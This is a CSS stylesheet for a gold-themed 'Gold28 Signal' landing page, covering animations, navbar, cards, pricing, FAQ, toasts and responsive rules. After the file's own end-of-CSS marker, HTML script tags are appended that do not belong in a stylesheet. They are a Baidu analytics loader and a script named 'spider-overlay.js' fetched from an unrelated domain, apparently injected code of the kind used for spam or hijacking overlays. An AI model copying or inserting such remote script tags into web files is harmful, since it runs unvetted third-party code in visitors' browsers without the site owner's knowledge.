﻿/* ============================================
   Gold28 Signal - Premium Landing Page Styles
   ============================================ */

/* ----- Base & Reset ----- */
html {
    scroll-behavior: smooth;
    scroll-padding-top: 100px;
}

body {
    overflow-x: hidden;
}

::selection {
    background-color: rgba(245, 158, 11, 0.3);
    color: #fff;
}

/* ----- Custom Scrollbar ----- */
::-webkit-scrollbar {
    width: 8px;
}

::-webkit-scrollbar-track {
    background: #0a0a0a;
}

::-webkit-scrollbar-thumb {
    background: linear-gradient(180deg, #f59e0b, #d97706);
    border-radius: 10px;
}

::-webkit-scrollbar-thumb:hover {
    background: linear-gradient(180deg, #fbbf24, #f59e0b);
}

/* ----- Animations Keyframes ----- */
@keyframes fadeInUp {
    from {
        opacity: 0;
        transform: translateY(30px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

@keyframes fadeInLeft {
    from {
        opacity: 0;
        transform: translateX(-30px);
    }
    to {
        opacity: 1;
        transform: translateX(0);
    }
}

@keyframes fadeInRight {
    from {
        opacity: 0;
        transform: translateX(30px);
    }
    to {
        opacity: 1;
        transform: translateX(0);
    }
}

@keyframes pulseSlow {
    0%, 100% {
        opacity: 0.6;
        transform: scale(1);
    }
    50% {
        opacity: 1;
        transform: scale(1.05);
    }
}

@keyframes glow {
    0%, 100% {
        box-shadow: 0 0 20px rgba(245, 158, 11, 0.3);
    }
    50% {
        box-shadow: 0 0 40px rgba(245, 158, 11, 0.6), 0 0 80px rgba(245, 158, 11, 0.2);
    }
}

@keyframes shimmer {
    0% {
        background-position: -200% 0;
    }
    100% {
        background-position: 200% 0;
    }
}

@keyframes float {
    0%, 100% {
        transform: translateY(0);
    }
    50% {
        transform: translateY(-10px);
    }
}

@keyframes gradientShift {
    0% {
        background-position: 0% 50%;
    }
    50% {
        background-position: 100% 50%;
    }
    100% {
        background-position: 0% 50%;
    }
}

@keyframes borderGlow {
    0%, 100% {
        border-color: rgba(245, 158, 11, 0.2);
    }
    50% {
        border-color: rgba(245, 158, 11, 0.6);
    }
}

/* Utility animation classes */
.animate-fade-in-up {
    animation: fadeInUp 0.6s ease-out forwards;
    opacity: 0;
}

.animation-delay-200 {
    animation-delay: 0.2s;
}

.animation-delay-400 {
    animation-delay: 0.4s;
}

.animation-delay-600 {
    animation-delay: 0.6s;
}

.animation-delay-800 {
    animation-delay: 0.8s;
}

.animate-pulse-slow {
    animation: pulseSlow 4s ease-in-out infinite;
}

.animate-float {
    animation: float 3s ease-in-out infinite;
}

.animate-glow {
    animation: glow 2s ease-in-out infinite;
}

/* ----- Reveal on scroll ----- */
.reveal {
    opacity: 0;
    transform: translateY(40px);
    transition: opacity 0.8s ease-out, transform 0.8s ease-out;
}

.reveal.revealed {
    opacity: 1;
    transform: translateY(0);
}

.reveal-left {
    opacity: 0;
    transform: translateX(-40px);
    transition: opacity 0.8s ease-out, transform 0.8s ease-out;
}

.reveal-left.revealed {
    opacity: 1;
    transform: translateX(0);
}

.reveal-right {
    opacity: 0;
    transform: translateX(40px);
    transition: opacity 0.8s ease-out, transform 0.8s ease-out;
}

.reveal-right.revealed {
    opacity: 1;
    transform: translateX(0);
}

/* ----- Navbar ----- */
#header {
    background-color: transparent;
    transition: background-color 0.4s ease, box-shadow 0.4s ease, padding 0.4s ease;
}

#header.scrolled {
    background-color: rgba(10, 10, 10, 0.92);
    backdrop-filter: blur(20px);
    -webkit-backdrop-filter: blur(20px);
    box-shadow: 0 1px 0 rgba(255, 255, 255, 0.05), 0 4px 20px rgba(0, 0, 0, 0.5);
}

#header.scrolled nav {
    height: 70px;
}

#header nav {
    transition: height 0.4s ease;
}

.nav-link {
    position: relative;
}

.nav-link::after {
    content: '';
    position: absolute;
    bottom: -4px;
    left: 0;
    width: 0;
    height: 2px;
    background: linear-gradient(90deg, #f59e0b, #fbbf24);
    transition: width 0.3s ease;
    border-radius: 2px;
}

.nav-link:hover::after,
.nav-link.active::after {
    width: 100%;
}

.nav-link.active {
    color: #f59e0b !important;
}

/* ----- Mobile Menu ----- */
#mobile-menu {
    animation: slideDown 0.3s ease-out;
}

@keyframes slideDown {
    from {
        opacity: 0;
        max-height: 0;
    }
    to {
        opacity: 1;
        max-height: 600px;
    }
}

/* ----- Feature Cards ----- */
.feature-card {
    background: linear-gradient(145deg, rgba(30, 30, 30, 0.8), rgba(20, 20, 20, 0.9));
    border: 1px solid rgba(255, 255, 255, 0.05);
    border-radius: 20px;
    padding: 32px;
    transition: all 0.4s ease;
    position: relative;
    overflow: hidden;
}

.feature-card::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    height: 2px;
    background: linear-gradient(90deg, transparent, rgba(245, 158, 11, 0.5), transparent);
    opacity: 0;
    transition: opacity 0.4s ease;
}

.feature-card:hover {
    border-color: rgba(245, 158, 11, 0.3);
    transform: translateY(-6px);
    box-shadow: 0 20px 40px rgba(245, 158, 11, 0.08), 0 0 60px rgba(245, 158, 11, 0.03);
}

.feature-card:hover::before {
    opacity: 1;
}

.feature-card::after {
    content: '';
    position: absolute;
    bottom: 0;
    right: 0;
    width: 150px;
    height: 150px;
    background: radial-gradient(circle, rgba(245, 158, 11, 0.06), transparent 70%);
    border-radius: 50%;
    transform: translate(30%, 30%);
    pointer-events: none;
}

/* ----- Stats Section ----- */
.stat-item {
    position: relative;
    padding: 30px 20px;
}

.stat-item::after {
    content: '';
    position: absolute;
    bottom: 0;
    left: 50%;
    transform: translateX(-50%);
    width: 40px;
    height: 3px;
    background: linear-gradient(90deg, #f59e0b, #fbbf24);
    border-radius: 3px;
}

.stat-item:hover {
    transform: translateY(-4px);
    transition: transform 0.3s ease;
}

/* ----- Pricing Cards ----- */
.pricing-card {
    background: linear-gradient(160deg, rgba(25, 25, 25, 0.9), rgba(15, 15, 15, 0.95));
    border: 1px solid rgba(255, 255, 255, 0.06);
    border-radius: 24px;
    padding: 40px 32px;
    position: relative;
    transition: all 0.4s ease;
}

.pricing-card:hover {
    border-color: rgba(245, 158, 11, 0.25);
    transform: translateY(-8px);
    box-shadow: 0 30px 60px rgba(0, 0, 0, 0.4);
}

.pricing-card-featured {
    border-color: rgba(245, 158, 11, 0.4);
    background: linear-gradient(160deg, rgba(40, 30, 10, 0.9), rgba(20, 15, 5, 0.95));
    transform: scale(1.03);
    box-shadow: 0 0 40px rgba(245, 158, 11, 0.1);
}

.pricing-card-featured:hover {
    transform: scale(1.03) translateY(-8px);
    border-color: rgba(245, 158, 11, 0.6);
    box-shadow: 0 30px 80px rgba(245, 158, 11, 0.15);
}

.pricing-card-featured::before {
    content: '';
    position: absolute;
    inset: -1px;
    border-radius: 24px;
    padding: 1px;
    background: linear-gradient(135deg, rgba(245, 158, 11, 0.4), transparent 40%, transparent 60%, rgba(245, 158, 11, 0.4));
    -webkit-mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0);
    -webkit-mask-composite: xor;
    mask-composite: exclude;
    pointer-events: none;
}

/* ----- Process Section ----- */
.process-step {
    opacity: 0;
    transform: translateY(30px);
    transition: opacity 0.7s ease-out, transform 0.7s ease-out;
}

.process-step.revealed {
    opacity: 1;
    transform: translateY(0);
}

/* ----- Testimonial Cards ----- */
.testimonial-card {
    background: linear-gradient(145deg, rgba(30, 30, 30, 0.7), rgba(20, 20, 20, 0.8));
    border: 1px solid rgba(255, 255, 255, 0.05);
    border-radius: 20px;
    padding: 32px;
    transition: all 0.4s ease;
}

.testimonial-card:hover {
    border-color: rgba(245, 158, 11, 0.2);
    transform: translateY(-5px);
    box-shadow: 0 20px 40px rgba(0, 0, 0, 0.3);
}

/* ----- FAQ Section ----- */
.faq-item {
    transition: all 0.3s ease;
}

.faq-item.active .faq-question {
    border-color: rgba(245, 158, 11, 0.4) !important;
    background: rgba(245, 158, 11, 0.05) !important;
}

.faq-item.active .faq-question i {
    transform: rotate(45deg);
}

.faq-answer {
    overflow: hidden;
    max-height: 0;
    transition: max-height 0.4s ease, padding 0.4s ease;
}

.faq-answer.active {
    max-height: 300px;
}

/* ----- CTA Section ----- */
#cta .bg-gray-900\\/80 {
    animation: borderGlow 3s ease-in-out infinite;
}

/* ----- Back to Top Button ----- */
#back-to-top.visible {
    opacity: 1 !important;
    visibility: visible !important;
}

/* ----- Hero Gradient Overlay Animation ----- */
#hero .absolute.inset-0.z-0::after {
    content: '';
    position: absolute;
    inset: 0;
    background: linear-gradient(135deg, rgba(245, 158, 11, 0.05) 0%, transparent 50%, rgba(245, 158, 11, 0.05) 100%);
    animation: gradientShift 8s ease infinite;
    background-size: 200% 200%;
    pointer-events: none;
}

/* ----- Shimmer effect for CTA button ----- */
@keyframes shimmerEffect {
    0% {
        transform: translateX(-100%);
    }
    100% {
        transform: translateX(200%);
    }
}

/* ----- Pulse ring for notification indicator ----- */
@keyframes pulseRing {
    0% {
        box-shadow: 0 0 0 0 rgba(245, 158, 11, 0.6);
    }
    70% {
        box-shadow: 0 0 0 12px rgba(245, 158, 11, 0);
    }
    100% {
        box-shadow: 0 0 0 0 rgba(245, 158, 11, 0);
    }
}

/* ----- Responsive Adjustments ----- */
@media (max-width: 1024px) {
    .process-step {
        text-align: center;
    }

    .process-step .max-w-md {
        margin-left: auto;
        margin-right: auto;
    }

    #process .absolute.top-0.left-1\\/2 {
        display: none;
    }
}

@media (max-width: 768px) {
    h1 {
        font-size: 2.5rem !important;
    }

    h2 {
        font-size: 2rem !important;
    }

    .feature-card,
    .testimonial-card,
    .pricing-card {
        padding: 24px;
    }

    .stat-item {
        padding: 16px 10px;
    }

    .stat-item .text-5xl,
    .stat-item .text-6xl {
        font-size: 2rem !important;
    }

    #cta .flex.gap-3 {
        flex-direction: column;
    }

    #cta input {
        width: 100%;
    }
}

@media (max-width: 640px) {
    section {
        padding-top: 4rem !important;
        padding-bottom: 4rem !important;
    }

    .pricing-card-featured {
        transform: scale(1);
    }

    .pricing-card-featured:hover {
        transform: scale(1) translateY(-8px);
    }

    #hero .flex.flex-wrap.gap-4 a {
        width: 100%;
        justify-content: center;
    }
}

/* ----- Reduced Motion Support ----- */
@media (prefers-reduced-motion: reduce) {
    html {
        scroll-behavior: auto;
    }

    .animate-fade-in-up,
    .animate-pulse-slow,
    .animate-float,
    .animate-glow,
    .reveal,
    .reveal-left,
    .reveal-right {
        animation: none !important;
        transition: none !important;
        opacity: 1 !important;
        transform: none !important;
    }
}

/* ----- Focus Styles for Accessibility ----- */
a:focus-visible,
button:focus-visible,
input:focus-visible {
    outline: 2px solid rgba(245, 158, 11, 0.7);
    outline-offset: 2px;
    border-radius: 4px;
}

/* ----- Loading state for CTA button ----- */
.btn-loading {
    position: relative;
    pointer-events: none;
}

.btn-loading::after {
    content: '';
    position: absolute;
    width: 18px;
    height: 18px;
    top: 50%;
    left: 50%;
    margin-left: -9px;
    margin-top: -9px;
    border: 2px solid transparent;
    border-top-color: #fff;
    border-radius: 50%;
    animation: spin 0.6s linear infinite;
}

.btn-loading span {
    opacity: 0;
}

@keyframes spin {
    to {
        transform: rotate(360deg);
    }
}

/* ----- Toast Notification (used by JS) ----- */
.toast {
    position: fixed;
    bottom: 30px;
    left: 50%;
    transform: translateX(-50%) translateY(100px);
    background: linear-gradient(135deg, #1a1a1a, #222);
    border: 1px solid rgba(245, 158, 11, 0.4);
    padding: 14px 28px;
    border-radius: 16px;
    color: #fff;
    font-size: 14px;
    font-weight: 500;
    z-index: 9999;
    box-shadow: 0 10px 40px rgba(0, 0, 0, 0.5), 0 0 20px rgba(245, 158, 11, 0.1);
    transition: transform 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);
}

.toast.show {
    transform: translateX(-50%) translateY(0);
}

.toast.success {
    border-color: rgba(34, 197, 94, 0.5);
}

.toast.error {
    border-color: rgba(239, 68, 68, 0.5);
}

/* ----- Glow dot for stats ----- */
.glow-dot {
    width: 6px;
    height: 6px;
    background: #f59e0b;
    border-radius: 50%;
    display: inline-block;
    animation: pulseRing 2s infinite;
}

/* ----- Card hover overlay ----- */
.card-overlay {
    position: absolute;
    inset: 0;
    background: radial-gradient(600px circle at var(--mouse-x) var(--mouse-y), rgba(245, 158, 11, 0.08), transparent 40%);
    opacity: 0;
    transition: opacity 0.3s ease;
    pointer-events: none;
    border-radius: inherit;
}

.feature-card:hover .card-overlay,
.pricing-card:hover .card-overlay,
.testimonial-card:hover .card-overlay {
    opacity: 1;
}

/* ----- Section Dividers ----- */
.section-divider {
    height: 1px;
    background: linear-gradient(90deg, transparent, rgba(245, 158, 11, 0.15), transparent);
    width: 80%;
    margin: 0 auto;
}

/* ----- Text gradient utility ----- */
.text-gradient-gold {
    background: linear-gradient(135deg, #fbbf24, #f59e0b, #d97706);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
}

/* ----- Gold sparkle dots background ----- */
.sparkle-bg {
    background-image: radial-gradient(circle, rgba(245, 158, 11, 0.15) 1px, transparent 1px);
    background-size: 50px 50px;
}

/* ===== End of CSS ===== */
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

